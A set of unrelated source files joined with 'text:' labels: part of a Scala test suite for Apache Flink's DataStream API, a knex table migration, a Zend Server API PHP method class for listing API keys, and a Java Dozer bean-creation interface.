    val connectedGroup1: ConnectedStreams[_, _] = connected.keyBy(0, 0)
    val downStreamId1: Integer = createDownStreamId(connectedGroup1)

    val connectedGroup2: ConnectedStreams[_, _] = connected.keyBy(Array[Int](0), Array[Int](0))
    val downStreamId2: Integer = createDownStreamId(connectedGroup2)

    val connectedGroup3: ConnectedStreams[_, _] = connected.keyBy("_1", "_1")
    val downStreamId3: Integer = createDownStreamId(connectedGroup3)

    val connectedGroup4: ConnectedStreams[_, _] =
      connected.keyBy(Array[String]("_1"), Array[String]("_1"))
    val downStreamId4: Integer = createDownStreamId(connectedGroup4)

    val connectedGroup5: ConnectedStreams[_, _] = connected.keyBy(x => x._1, x => x._1)
    val downStreamId5: Integer = createDownStreamId(connectedGroup5)

    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, downStreamId1)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, downStreamId1)))

    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, downStreamId2)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, downStreamId2)))

    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, downStreamId3)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, downStreamId3)))

    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, downStreamId4)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, downStreamId4)))

    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, downStreamId5)))
    assert(isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, downStreamId5)))

    //Testing ConnectedStreams partitioning
    val connectedPartition1: ConnectedStreams[_, _] = connected.keyBy(0, 0)
    val connectDownStreamId1: Integer = createDownStreamId(connectedPartition1)

    val connectedPartition2: ConnectedStreams[_, _] =
      connected.keyBy(Array[Int](0), Array[Int](0))
    val connectDownStreamId2: Integer = createDownStreamId(connectedPartition2)

    val connectedPartition3: ConnectedStreams[_, _] = connected.keyBy("_1", "_1")
    val connectDownStreamId3: Integer = createDownStreamId(connectedPartition3)

    val connectedPartition4: ConnectedStreams[_, _] =
      connected.keyBy(Array[String]("_1"), Array[String]("_1"))
    val connectDownStreamId4: Integer = createDownStreamId(connectedPartition4)

    val connectedPartition5: ConnectedStreams[_, _] =
      connected.keyBy(x => x._1, x => x._1)
    val connectDownStreamId5: Integer = createDownStreamId(connectedPartition5)

    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, connectDownStreamId1))
    )
    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, connectDownStreamId1))
    )

    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, connectDownStreamId2))
    )
    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, connectDownStreamId2))
    )

    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, connectDownStreamId3))
    )
    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, connectDownStreamId3))
    )

    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, connectDownStreamId4))
    )
    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, connectDownStreamId4))
    )

    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src1.getId, connectDownStreamId5))
    )
    assert(
      isPartitioned(env.getStreamGraph.getStreamEdges(src2.getId, connectDownStreamId5))
    )
  }

  /**
   * Tests whether parallelism gets set.
   */
  @Test
  def testParallelism() {
    val env: StreamExecutionEnvironment = StreamExecutionEnvironment.getExecutionEnvironment
    val parallelism = env.getParallelism

    val src = env.fromElements(new Tuple2[Long, Long](0L, 0L))
    val map = src.map(x => (0L, 0L))
    val windowed: DataStream[(Long, Long)] = map
      .windowAll(GlobalWindows.create())
      .trigger(PurgingTrigger.of(CountTrigger.of[GlobalWindow](10)))
      .fold((0L, 0L))((x: (Long, Long), y: (Long, Long)) => (0L, 0L))

    windowed.print()
    val sink = map.addSink(x => {})

    assert(1 == env.getStreamGraph.getStreamNode(src.getId).getParallelism)
    assert(parallelism == env.getStreamGraph.getStreamNode(map.getId).getParallelism)
    assert(1 == env.getStreamGraph.getStreamNode(windowed.getId).getParallelism)
    assert(parallelism == env
      .getStreamGraph
      .getStreamNode(sink.getTransformation.getId)
      .getParallelism)

    try {
      src.setParallelism(3)
      fail()
    }
    catch {
      case success: IllegalArgumentException => {
      }
    }

    val newParallelism = parallelism - 1

    env.setParallelism(newParallelism)
    // the parallelism does not change since some windowing code takes the parallelism from
    // input operations and that cannot change dynamically
    assert(1 == env.getStreamGraph.getStreamNode(src.getId).getParallelism)
    assert(parallelism == env.getStreamGraph.getStreamNode(map.getId).getParallelism)
    assert(1 == env.getStreamGraph.getStreamNode(windowed.getId).getParallelism)
    assert(parallelism == env
      .getStreamGraph
      .getStreamNode(sink.getTransformation.getId)
      .getParallelism)

    val parallelSource = env.generateSequence(0, 0)
    parallelSource.print()

    assert(newParallelism == env.getStreamGraph.getStreamNode(parallelSource.getId).getParallelism)

    parallelSource.setParallelism(3)
    assert(3 == env.getStreamGraph.getStreamNode(parallelSource.getId).getParallelism)

    map.setParallelism(2)
    assert(2 == env.getStreamGraph.getStreamNode(map.getId).getParallelism)

    sink.setParallelism(4)
    assert(4 == env.getStreamGraph.getStreamNode(sink.getTransformation.getId).getParallelism)
  }

  /**
    * Tests setting the parallelism after a partitioning operation (e.g., broadcast, rescale)
    * should fail.
    */
  @Test
  def testParallelismFailAfterPartitioning(): Unit = {
    val env: StreamExecutionEnvironment = StreamExecutionEnvironment.getExecutionEnvironment

    val src = env.fromElements(new Tuple2[Long, Long](0L, 0L))
    val map = src.map(_ => (0L, 0L))

    // This could be replaced with other partitioning operations (e.g., rescale, shuffle, forward),
    // which trigger the setConnectionType() method.
    val broadcastStream = map.broadcast
    thrownException.expect(classOf[UnsupportedOperationException])
    thrownException.expectMessage("cannot set the parallelism")
    broadcastStream.setParallelism(1)
  }

  /**
   * Tests whether resource gets set.
   */
  /*
  @Test
  def testResource() {
    val env: StreamExecutionEnvironment = StreamExecutionEnvironment.getExecutionEnvironment

    val minResource1: ResourceSpec = new ResourceSpec(1.0, 100)
    val preferredResource1: ResourceSpec = new ResourceSpec(2.0, 200)
    val minResource2: ResourceSpec = new ResourceSpec(1.0, 200)
    val preferredResource2: ResourceSpec = new ResourceSpec(2.0, 300)
    val minResource3: ResourceSpec = new ResourceSpec(1.0, 300)
    val preferredResource3: ResourceSpec = new ResourceSpec(2.0, 400)
    val minResource4: ResourceSpec = new ResourceSpec(1.0, 400)
    val preferredResource4: ResourceSpec = new ResourceSpec(2.0, 500)
    val minResource5: ResourceSpec = new ResourceSpec(1.0, 500)
    val preferredResource5: ResourceSpec = new ResourceSpec(2.0, 600)
    val minResource6: ResourceSpec = new ResourceSpec(1.0, 600)
    val preferredResource6: ResourceSpec = new ResourceSpec(2.0, 700)
    val minResource7: ResourceSpec = new ResourceSpec(1.0, 700)
    val preferredResource7: ResourceSpec = new ResourceSpec(2.0, 800)

    val source1: DataStream[Long] = env.generateSequence(0, 0)
      .resource(minResource1, preferredResource1)
    val map1: DataStream[String] = source1.map(x => "")
      .resource(minResource2, preferredResource2)
    val source2: DataStream[Long] = env.generateSequence(0, 0)
      .resource(minResource3, preferredResource3)
    val map2: DataStream[String] = source2.map(x => "")
      .resource(minResource4, preferredResource4)

    val connected: DataStream[String] = map1.connect(map2)
      .flatMap({ (in, out: Collector[(String)]) => }, { (in, out: Collector[(String)]) => })
      .resource(minResource5, preferredResource5)

    val windowed  = connected
      .windowAll(GlobalWindows.create())
      .trigger(PurgingTrigger.of(CountTrigger.of[GlobalWindow](5)))
      .fold("")((accumulator: String, value: String) => "")
      .resource(minResource6, preferredResource6)

    var sink = windowed.print().resource(minResource7, preferredResource7)

    val plan = env.getExecutionPlan

    assertEquals(minResource1, env.getStreamGraph.getStreamNode(source1.getId).
      getMinResource)
    assertEquals(preferredResource1, env.getStreamGraph.getStreamNode(source1.getId).
      getPreferredResource)
    assertEquals(minResource2, env.getStreamGraph.getStreamNode(map1.getId).
      getMinResource)
    assertEquals(preferredResource2, env.getStreamGraph.getStreamNode(map1.getId).
      getPreferredResource)
    assertEquals(minResource3, env.getStreamGraph.getStreamNode(source2.getId).
      getMinResource)
    assertEquals(preferredResource3, env.getStreamGraph.getStreamNode(source2.getId).
      getPreferredResource)
    assertEquals(minResource4, env.getStreamGraph.getStreamNode(map2.getId).
      getMinResource)
    assertEquals(preferredResource4, env.getStreamGraph.getStreamNode(map2.getId).
      getPreferredResource)
    assertEquals(minResource5, env.getStreamGraph.getStreamNode(connected.getId).
      getMinResource)
    assertEquals(preferredResource5, env.getStreamGraph.getStreamNode(connected.getId).
      getPreferredResource)
    assertEquals(minResource6, env.getStreamGraph.getStreamNode(windowed.getId).
      getMinResource)
    assertEquals(preferredResource6, env.getStreamGraph.getStreamNode(windowed.getId).
      getPreferredResource)
    assertEquals(minResource7, env.getStreamGraph.getStreamNode(
      sink.getPreferredResource.getId).getMinResource)
    assertEquals(preferredResource7, env.getStreamGraph.getStreamNode(
      sink.getPreferredResource.getId).getPreferredResource)
  }*/

  @Test
  def testTypeInfo() {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src1: DataStream[Long] = env.generateSequence(0, 0)
    assert(TypeExtractor.getForClass(classOf[Long]) == src1.getType)

    val map: DataStream[(Integer, String)] = src1.map(x => null)
    assert(classOf[scala.Tuple2[Integer, String]] == map.getType().getTypeClass)

    val window: DataStream[String] = map
      .windowAll(GlobalWindows.create())
      .trigger(PurgingTrigger.of(CountTrigger.of[GlobalWindow](5)))
      .apply((w: GlobalWindow, x: Iterable[(Integer, String)], y: Collector[String]) => {})

    assert(TypeExtractor.getForClass(classOf[String]) == window.getType)

    val flatten: DataStream[Int] = window
      .windowAll(GlobalWindows.create())
      .trigger(PurgingTrigger.of(CountTrigger.of[GlobalWindow](5)))
      .fold(0)((accumulator: Int, value: String) => 0)
    assert(TypeExtractor.getForClass(classOf[Int]) == flatten.getType())

    // TODO check for custom case class
  }

  /**
   * Verify that a [[KeyedStream.process(ProcessFunction)]] call is correctly
   * translated to an operator.
   */
  @Test
  def testKeyedStreamProcessTranslation(): Unit = {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src = env.generateSequence(0, 0)

    val processFunction = new ProcessFunction[Long, Int] {
      override def processElement(
          value: Long,
          ctx: ProcessFunction[Long, Int]#Context,
          out: Collector[Int]): Unit = ???
    }

    val flatMapped = src.keyBy(x => x).process(processFunction)

    assert(processFunction == getFunctionForDataStream(flatMapped))
    assert(getOperatorForDataStream(flatMapped).isInstanceOf[LegacyKeyedProcessOperator[_, _, _]])
  }

  /**
   * Verify that a [[KeyedStream.process(KeyedProcessFunction)]] call is correctly
   * translated to an operator.
   */
  @Test
  def testKeyedStreamKeyedProcessTranslation(): Unit = {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src = env.generateSequence(0, 0)

    val keyedProcessFunction = new KeyedProcessFunction[Long, Long, Int] {
      override def processElement(
                                   value: Long,
                                   ctx: KeyedProcessFunction[Long, Long, Int]#Context,
                                   out: Collector[Int]): Unit = ???
    }

    val flatMapped = src.keyBy(x => x).process(keyedProcessFunction)

    assert(keyedProcessFunction == getFunctionForDataStream(flatMapped))
    assert(getOperatorForDataStream(flatMapped).isInstanceOf[KeyedProcessOperator[_, _, _]])
  }

  /**
   * Verify that a [[DataStream.process(ProcessFunction)]] call is correctly
   * translated to an operator.
   */
  @Test
  def testProcessTranslation(): Unit = {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src = env.generateSequence(0, 0)

    val processFunction = new ProcessFunction[Long, Int] {
      override def processElement(
          value: Long,
          ctx: ProcessFunction[Long, Int]#Context,
          out: Collector[Int]): Unit = ???
    }

    val flatMapped = src.process(processFunction)

    assert(processFunction == getFunctionForDataStream(flatMapped))
    assert(getOperatorForDataStream(flatMapped).isInstanceOf[ProcessOperator[_, _]])
  }

  @Test def operatorTest() {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src = env.generateSequence(0, 0)

    val mapFunction = new MapFunction[Long, Int] {
      override def map(value: Long): Int = 0
    }

    val map = src.map(mapFunction)
    assert(mapFunction == getFunctionForDataStream(map))
    assert(getFunctionForDataStream(map.map(x => 0)).isInstanceOf[MapFunction[_, _]])

    val statefulMap2 = src.keyBy(x => x).mapWithState(
        (in, state: Option[Long]) => (in, None.asInstanceOf[Option[Long]]))

    val flatMapFunction = new FlatMapFunction[Long, Int] {
      override def flatMap(value: Long, out: Collector[Int]): Unit = {}
    }

    val flatMap = src.flatMap(flatMapFunction)
    assert(flatMapFunction == getFunctionForDataStream(flatMap))
    assert(
      getFunctionForDataStream(flatMap
        .flatMap((x: Int, out: Collector[Int]) => {}))
        .isInstanceOf[FlatMapFunction[_, _]])

    val statefulfMap2 = src.keyBy(x => x).flatMapWithState(
        (in, state: Option[Long]) => (List(in), None.asInstanceOf[Option[Long]]))

    val filterFunction = new FilterFunction[Int] {
      override def filter(value: Int): Boolean = false
    }

    val unionFilter = map.union(flatMap).filter(filterFunction)
    assert(filterFunction == getFunctionForDataStream(unionFilter))
    assert(
      getFunctionForDataStream(map
        .filter((x: Int) => true))
        .isInstanceOf[FilterFunction[_]])

    val statefulFilter2 = src.keyBy( x => x).filterWithState[Long](
        (in, state: Option[Long]) => (false, None))

    try {
      env.getStreamGraph.getStreamEdges(map.getId, unionFilter.getId)
    }
    catch {
      case e: Throwable => {
        fail(e.getMessage)
      }
    }

    try {
      env.getStreamGraph.getStreamEdges(flatMap.getId, unionFilter.getId)
    }
    catch {
      case e: Throwable => {
        fail(e.getMessage)
      }
    }

    val outputSelector = new OutputSelector[Int] {
      override def select(value: Int): lang.Iterable[String] = null
    }

    val split = unionFilter.split(outputSelector)
    split.print()
    val outputSelectors = env.getStreamGraph.getStreamNode(unionFilter.getId).getOutputSelectors
    assert(1 == outputSelectors.size)
    assert(outputSelector == outputSelectors.get(0))

    unionFilter.split(x => List("a")).print()
    val moreOutputSelectors = env.getStreamGraph.getStreamNode(unionFilter.getId).getOutputSelectors
    assert(2 == moreOutputSelectors.size)

    val select = split.select("a")
    val sink = select.print()
    val splitEdge =
      env.getStreamGraph.getStreamEdges(unionFilter.getId, sink.getTransformation.getId)
    assert("a" == splitEdge.get(0).getSelectedNames.get(0))

    val sinkWithIdentifier = select.print("identifier")
    val newSplitEdge = env.getStreamGraph.getStreamEdges(
      unionFilter.getId,
      sinkWithIdentifier.getTransformation.getId)
    assert("a" == newSplitEdge.get(0).getSelectedNames.get(0))

    val foldFunction = new FoldFunction[Int, String] {
      override def fold(accumulator: String, value: Int): String = ""
    }
    val fold = map.keyBy(x=>x).fold("", foldFunction)
    assert(foldFunction == getFunctionForDataStream(fold))
    assert(
      getFunctionForDataStream(map.keyBy(x=>x)
        .fold("")((x: String, y: Int) => ""))
        .isInstanceOf[FoldFunction[_, _]])

    val connect = fold.connect(flatMap)

    val coMapFunction =
      new CoMapFunction[String, Int, String] {
        override def map1(value: String): String = ""

        override def map2(value: Int): String = ""
      }
    val coMap = connect.map(coMapFunction)
    assert(coMapFunction == getFunctionForDataStream(coMap))

    try {
      env.getStreamGraph.getStreamEdges(fold.getId, coMap.getId)
    }
    catch {
      case e: Throwable => {
        fail(e.getMessage)
      }
    }
    try {
      env.getStreamGraph.getStreamEdges(flatMap.getId, coMap.getId)
    }
    catch {
      case e: Throwable => {
        fail(e.getMessage)
      }
    }
  }

  @Test
  def testChannelSelectors() {
    val env = StreamExecutionEnvironment.getExecutionEnvironment

    val src = env.generateSequence(0, 0)

    val broadcast = src.broadcast
    val broadcastSink = broadcast.print()
    val broadcastPartitioner = env.getStreamGraph
      .getStreamEdges(src.getId, broadcastSink.getTransformation.getId).get(0).getPartitioner
    assert(broadcastPartitioner.isInstanceOf[BroadcastPartitioner[_]])

    val shuffle: DataStream[Long] = src.shuffle
    val shuffleSink = shuffle.print()
    val shufflePartitioner = env.getStreamGraph
      .getStreamEdges(src.getId, shuffleSink.getTransformation.getId).get(0).getPartitioner
    assert(shufflePartitioner.isInstanceOf[ShufflePartitioner[_]])

    val forward: DataStream[Long] = src.forward
    val forwardSink = forward.print()
    val forwardPartitioner = env.getStreamGraph
      .getStreamEdges(src.getId, forwardSink.getTransformation.getId).get(0).getPartitioner
    assert(forwardPartitioner.isInstanceOf[ForwardPartitioner[_]])

    val rebalance: DataStream[Long] = src.rebalance
    val rebalanceSink = rebalance.print()
    val rebalancePartitioner = env.getStreamGraph
      .getStreamEdges(src.getId, rebalanceSink.getTransformation.getId).get(0).getPartitioner
    assert(rebalancePartitioner.isInstanceOf[RebalancePartitioner[_]])

    val global: DataStream[Long] = src.global
    val globalSink = global.print()
    val globalPartitioner = env.getStreamGraph
      .getStreamEdges(src.getId, globalSink.getTransformation.getId).get(0).getPartitioner
    assert(globalPartitioner.isInstanceOf[GlobalPartitioner[_]])
  }

  @Test
  def testIterations() {
    val env = StreamExecutionEnvironment.getExecutionEnvironment
    // we need to rebalance before iteration
    val source = env.fromElements(1, 2, 3).map { t: Int => t }

    val iterated = source.iterate((input: ConnectedStreams[Int, String]) => {
      val head = input.map(i => (i + 1).toString, s => s)
      (head.filter(_ == "2"), head.filter(_ != "2"))
    }, 1000).print()

    val iterated2 = source.iterate((input: DataStream[Int]) =>
      (input.map(_ + 1), input.map(_.toString)), 2000)

    val sg = env.getStreamGraph

    assert(sg.getIterationSourceSinkPairs.size() == 2)
  }

  @Test
  def testCreateInputPassesOnTypeInfo(): Unit = {
    StreamExecutionEnvironment.getExecutionEnvironment.createInput[Tuple1[Integer]](
      new ParallelIteratorInputFormat[Tuple1[Integer]](null))
  }

  /////////////////////////////////////////////////////////////
  // Utilities
  /////////////////////////////////////////////////////////////

  private def getFunctionForDataStream(dataStream: DataStream[_]): Function = {
    dataStream.print()
    val operator = getOperatorForDataStream(dataStream)
      .asInstanceOf[AbstractUdfStreamOperator[_, _]]
    operator.getUserFunction.asInstanceOf[Function]
  }

  private def getOperatorForDataStream(dataStream: DataStream[_]): StreamOperator[_] = {
    dataStream.print()
    val env = dataStream.javaStream.getExecutionEnvironment
    val streamGraph: StreamGraph = env.getStreamGraph
    streamGraph.getStreamNode(dataStream.getId).getOperator
  }

  private def isPartitioned(edges: java.util.List[StreamEdge]): Boolean = {
    import scala.collection.JavaConverters._
    edges.asScala.forall( _.getPartitioner.isInstanceOf[KeyGroupStreamPartitioner[_, _]])
  }

  private def isCustomPartitioned(edges: java.util.List[StreamEdge]): Boolean = {
    import scala.collection.JavaConverters._
    edges.asScala.forall( _.getPartitioner.isInstanceOf[CustomPartitionerWrapper[_, _]])
  }

  private def createDownStreamId(dataStream: DataStream[_]): Integer = {
    dataStream.print().getTransformation.getId
  }

  private def createDownStreamId(dataStream: ConnectedStreams[_, _]): Integer = {
    val m = dataStream.map(x => 0, x => 0)
    m.print()
    m.getId
  }
}


text:
exports.up = async function(knex, Promise) {
  if (! await knex.schema.hasTable("moderator_role_overrides")) {
    await knex.schema.createTable("moderator_role_overrides", table => {
      table.string("moderator_id", 20);
      table.string("thread_id", 36).nullable().defaultTo(null);
      table.string("role_id", 20);

      table.primary(["moderator_id", "thread_id"]);
    });
  }
};

exports.down = async function(knex, Promise) {
  if (await knex.schema.hasTable("moderator_role_overrides")) {
    await knex.schema.dropTable("moderator_role_overrides");
  }
};


text:
<?php

namespace ZendService\ZendServerAPI\Method;

/**
 * The  Method
 *
 *

 *
 * @license        http://framework.zend.com/license/new-bsd New BSD License
 * @link           http://github.com/zendframework/zf2 for the canonical source repository
 * @author         Ingo Walz <ingo.walz@googlemail.com>
 * @category       Zend
 * @package        Zend_Service
 * @subpackage     ZendServerAPI
 */
class ApiKeysGetList extends Method
{
    /**
     * Set the arguments and configures the method
     *
     * @return \ZendService\ZendServerAPI\Method\
     */
    public function setArgs()
    {
        $this->configure();

        return $this;
    }

    /**
     * Configures all needed information for the method implementation
     *
     * @return void
     */
    public function configure()
    {
        $this->setMethod('GET');
        $this->setFunctionPath('/Api/apiKeysGetList');
        $this->setParser(new  \ZendService\ZendServerAPI\Adapter\DumpParser());
    }

    public function getAcceptHeader()
    {
        return "application/vnd.zend.serverapi+xml;version=1.3";
    }

    /**
     * Get link for the method
     *
     * @return string
     */
    public function getLink()
    {
        $link = $this->getFunctionPath();

        return $link;
    }
}


text:
package com.github.dozermapper.core;

import com.github.dozermapper.core.factory.BeanCreationDirective;

public interface BeanGeneralCreationStrategy<T> {

    boolean isApplicable(BeanCreationDirective directive);

    T create(BeanCreationDirective directive);
}